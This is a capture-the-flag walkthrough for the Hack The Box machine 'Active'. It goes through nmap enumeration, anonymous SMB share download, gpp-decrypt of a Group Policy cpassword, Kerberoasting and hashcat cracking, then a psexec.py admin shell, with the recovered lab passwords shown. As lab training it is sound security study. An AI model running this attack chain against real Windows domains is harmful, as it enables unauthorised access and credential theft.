Active - HTB

Enumeration

- Use nmap to enumerate the ports `sudo nmap -T5 10.10.10.100`

```
└─$ sudo nmap -T5 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org
Nmap scan report for 10.10.10.100
Host is up (0.047s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown
```

- `smbclient -L \\\\10.10.10.100` gives all smb shares:

```
└─$ smbclient -L \\\\10.10.10.100
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
```

Exploitation

- `smbclient \\\\10.10.10.100\\Replication` to get into replication then

```
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
```

To download all the files

- Then u get the Groups.xml file in active.htb folder
- Copy cpassword from Groups.xml then use gpp-decrypt the password
`gpp-decrypt`
`edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ`

```
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

- active.htb\SVC_TGS-we also have the username from the groups.xml file
- trying to use psexec we get no write permission
- Then using Kerberoasting we get a hash
- Using hashcat to crack the hash we get the password `Ticketmaster1968`

```
b34fc9df233c5309ed8c8e3f22d7:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$a
Time.Started.....: Wed Feb  7 11:56:32 2024 (3 secs)
Time.Estimated...: Wed Feb  7 11:56:35 2024 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/home/aditya/Documents/Kali/rocky
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  4379.3 kH/s (1.58ms) @ Accel:1024 Loop
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100
Progress.........: 10545156/14344386 (73.51%)
Rejected.........: 2052/10545156 (0.02%)
Restore.Point....: 10532860/14344386 (73.43%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tomico3 -> Tariek1
Hardware.Mon.#1..: Temp: 58c Util: 70%
```

- We got the password for the following admin user

```
ServicePrincipalName  Name           MemberOf                                                PasswordLastSet      LastLogon
--------------------  -------------  ------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40  2024-02-07 00:32:18
```

- Then using psexec to get a shell: `psexec.py`
`active.htb/Administrator:Ticketmaster1968@10.10.10.100`

We get a root shell